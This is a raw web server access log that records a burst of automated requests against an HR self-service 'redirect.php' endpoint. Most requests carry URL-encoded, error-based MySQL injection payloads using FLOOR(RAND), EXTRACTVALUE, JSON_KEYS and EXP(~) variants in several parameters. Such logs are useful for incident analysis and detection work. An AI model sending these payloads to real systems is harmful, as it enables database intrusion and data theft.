100.64.0.1 - - [07/Sep/2025:02:23:06 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x4b5a674b%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7362574e%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2Fx6Mr HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:06 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x4b5a674b%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7362574e%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2Fx6Mr HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:06 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x4c6e354c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x71745969%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2F2WJH HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:06 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x4c6e354c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x71745969%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2F2WJH HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:06 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29ANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x70777167%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x46666638%29%29%2C1%29--%2F%2A%2A%2FKqo7 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:06 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29ANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x70777167%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x46666638%29%29%2C1%29--%2F%2A%2A%2FKqo7 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:07 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:07 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:07 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:07 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:06 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29ORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x416a3961%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x69644e57%29%29%2C1%29--%2F%2A%2A%2F2aTX HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:06 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29ORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x416a3961%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x69644e57%29%29%2C1%29--%2F%2A%2A%2F2aTX HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:06 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x72667177%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x50654869%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2FRW6V HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:06 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x72667177%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x50654869%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2FRW6V HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:06 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x7275626d%2C%28NULL%29%2C0x77363647%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2F-%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:06 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x7275626d%2C%28NULL%29%2C0x77363647%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2F-%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:06 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x4d767559%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5a6d4a7a%29%29x%29%29--%2F%2A%2A%2F-&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:06 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x4d767559%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5a6d4a7a%29%29x%29%29--%2F%2A%2A%2F-&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:07 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x754d716a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x36544e41%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2F-&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:07 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x754d716a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x36544e41%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2F-&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:07 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x31756d58%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6e6f3470%29%29x%29%29--%2F%2A%2A%2F-&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:07 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x31756d58%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6e6f3470%29%29x%29%29--%2F%2A%2A%2F-&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:07 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29ANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x6d676c57%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x44664248%29%29%2C1%29--%2F%2A%2A%2F-&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:07 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29ANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x6d676c57%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x44664248%29%29%2C1%29--%2F%2A%2A%2F-&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:07 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x3174624f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x68794276%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2F-&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:07 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x3174624f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x68794276%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2F-&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:07 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29ORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x786f3574%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x63624b50%29%29%2C1%29--%2F%2A%2A%2F-&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:07 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29ORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x786f3574%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x63624b50%29%29%2C1%29--%2F%2A%2A%2F-&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:07 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x63784447%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4a354f78%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2F-&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:07 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x63784447%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4a354f78%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2F-&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:07 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x6b594450%2C%28NULL%29%2C0x6a787165%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2F-%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:07 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x6b594450%2C%28NULL%29%2C0x6a787165%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2F-%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:23:07 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x4f626d56%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x31674d42%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2F-&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:07 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x4f626d56%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x31674d42%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2F-&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:08 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x6d703857%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x576d3044%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2F-&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:08 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x6d703857%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x576d3044%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2F-&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:23:07 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x6e467576%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6278427a%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2F-&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:07 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x6e467576%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6278427a%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2F-&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:23:07 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x74753161%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x374a7230%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2F-&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:07 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x74753161%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x374a7230%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2F-&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
